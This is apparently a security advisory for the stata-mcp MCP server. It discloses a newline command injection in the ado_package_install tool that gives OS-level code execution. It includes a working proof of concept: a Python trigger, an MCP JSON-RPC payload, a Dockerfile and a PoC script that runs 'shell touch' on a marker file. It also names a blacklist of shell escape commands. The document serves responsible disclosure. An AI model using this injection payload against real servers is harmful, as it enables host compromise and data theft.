MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

Stata

Command Injection via Unsanitized package in ado_package_install

Summary

The ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).

Details

The vulnerability originates in SSC_Install.install():

# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
    install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
    runner_result = self.controller.run(install_command)

The package parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:

# src/stata_mcp/stata/stata_controller/controller.py:98-99
# Send the command
self.child.sendline(command)

pexpect.sendline() writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's shell (and !) commands execute an OS shell command, a newline-delimited payload results in OS command execution.

The full source-to-sink data flow is:

1. Exposure — src/stata_mcp/mcp_servers.py:626-632: _TOOL_REGISTRY registers ado_package_install in the all profile.
2. Default activation — src/stata_mcp/cli/_handlers.py:295-300: when no --core/--all flag is given the profile defaults to all, so the tool is always enabled.
3. Propagation — src/stata_mcp/mcp_servers.py:308-349: the MCP argument package is passed to installer(...).install(*args) without validation.
4. Sink construction — src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15: package is interpolated into install_command.
5. Delivery — src/stata_mcp/stata/stata_controller/controller.py:99: self.child.sendline(command) sends the attacker-influenced string to Stata.

A guard/blacklist (src/stata_mcp/guard/blacklist.py:41-60) registers shell, !, winexec, unixcmd, and similar strings as dangerous commands, but the GuardValidator that enforces this list is invoked only on the stata_do path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.

PoC

Prerequisites

• Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (fake_stata.py) that honours the shell command.

Container-based reproduction (no Stata license required)

# Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
    -f vuln-001/Dockerfile \
    reports/pypiAi_828_SepineTam__stata-mcp/

# Run
docker run --rm stata-mcp-poc-001

Direct Python trigger (unmodified source)

import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install

MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"

installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)

assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")

The payload "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//" is expanded by the f-string at ssc_install.py:15 into:

ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace

Stata executes the second line as an OS shell command. The trailing // comment neutralises the , replace suffix so Stata does not raise a syntax error.

MCP JSON-RPC trigger

{
  "tool": "ado_package_install",
  "arguments": {
    "source": "ssc",
    "package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//",
    "is_replace": true
  }
}

Expected output

[+] PASS - RCE CONFIRMED
[+] Marker file exists: /tmp/stata_mcp_ado_poc
[+] The injected Stata 'shell' command was executed by the REPL.

Phase 2 dynamic reproduction confirmed the marker file /tmp/stata_mcp_ado_poc was created inside the Docker container, and install() returned a string containing the injected command:

Installation State: False
ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace

Impact

This is a Code/Command Injection (RCE) vulnerability. Any principal who can call the ado_package_install MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.

Because the tool is registered in the default all profile and all is the default active profile, no misconfiguration by the victim is required. All users of stata-mcp on the affected version who run stata-mcp server are impacted.

Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 dynamic reproduction
# Build context must be the parent directory:
#   docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .
#
# Vulnerability: Stata Command Injection via unsanitized `package` in
#   SSC_Install.install() (ssc_install.py:15).
#
# Strategy: replace the real Stata binary with a minimal Python script
#   (fake_stata.py) that honours the 'shell ' Stata command.
#   The vulnerable stata-mcp code is installed unmodified from the repo.

FROM python:3.11-slim

# Install pexpect -- the only runtime dependency required by the PoC
# (StataController imports pexpect; all other imports are stdlib-only).
RUN pip install --no-cache-dir pexpect==4.9.0

# ------------------------------------------------------------------
# Fake Stata binary
# ------------------------------------------------------------------
# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover
# it and the PoC can reference it by absolute path.
COPY vuln-001/fake_stata.py /usr/local/bin/stata
RUN chmod +x /usr/local/bin/stata

# ------------------------------------------------------------------
# Vulnerable package (unmodified source)
# ------------------------------------------------------------------
COPY repo/src /workspace/src
ENV PYTHONPATH=/workspace/src

# ------------------------------------------------------------------
# PoC script
# ------------------------------------------------------------------
COPY vuln-001/poc.py /workspace/poc.py

WORKDIR /workspace
CMD ["python3", "/workspace/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Stata Command Injection via unsanitized `package` in
`ado_package_install` (SSC path).

Vulnerable code:
    ssc_install.py:15
        install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
    controller.py:99
        self.child.sendline(command)

Attack: embed a newline in `package` to inject an additional Stata command.
    package = "outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//"

The constructed command string becomes:
    ssc install outreg2
    shell touch /tmp/stata_mcp_ado_poc
    //, replace

pexpect delivers this multi-line string verbatim to the Stata REPL via
sendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc',
which runs the OS command 'touch /tmp/stata_mcp_ado_poc'.

Marker file creation confirms RCE.
"""
import os
import sys

FAKE_STATA = "/usr/local/bin/stata"
MARKER_FILE = "/tmp/stata_mcp_ado_poc"
# Payload: legit package name, then injected shell command, then comment to
# neutralise the ", replace" suffix appended by REPLACE_MESSAGE.
PAYLOAD = f"outreg2\nshell touch {MARKER_FILE}\n//"


def main() -> int:
    print("=" * 60)
    print("VULN-001 PoC: Stata Command Injection via ado_package_install")
    print("=" * 60)
    print(f"[*] Fake Stata binary : {FAKE_STATA}")
    print(f"[*] Marker file       : {MARKER_FILE}")
    print(f"[*] Payload (repr)    : {PAYLOAD!r}")
    print()

    # Clean up any previous run.
    if os.path.exists(MARKER_FILE):
        os.remove(MARKER_FILE)
        print(f"[*] Removed pre-existing marker file.")

    # Import the vulnerable class directly -- no MCP or config layer needed.
    # The vulnerability lives entirely in SSC_Install.install() and the
    # StataController that sends the command to the Stata REPL.
    from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install

    print("[*] Instantiating SSC_Install with fake Stata binary...")
    installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10)

    print(f"[*] Calling install({PAYLOAD!r}) ...")
    try:
        result = installer.install(PAYLOAD)
        print(f"[*] install() returned: {result[:200]!r}")
    except Exception as exc:
        # A RuntimeError from StataController is acceptable; the shell command
        # may have already executed before the error is detected.
        print(f"[!] install() raised (may be expected): {type(exc).__name__}: {exc}")

    print()

    # --- Verdict ---
    if os.path.exists(MARKER_FILE):
        print("[+] PASS - RCE CONFIRMED")
        print(f"[+] Marker file exists: {MARKER_FILE}")
        print("[+] The injected Stata 'shell' command was executed by the REPL.")
        print("[+] Constructed command delivered via sendline():")
        print("[+]   ssc install outreg2")
        print(f"[+]   shell touch {MARKER_FILE}  <-- OS command executed here")
        print("[+]   //")
        return 0
    else:
        print("[-] FAIL - Marker file not found.")
        print("[-] The injected shell command did not produce the expected artefact.")
        return 1


if __name__ == "__main__":
    sys.exit(main())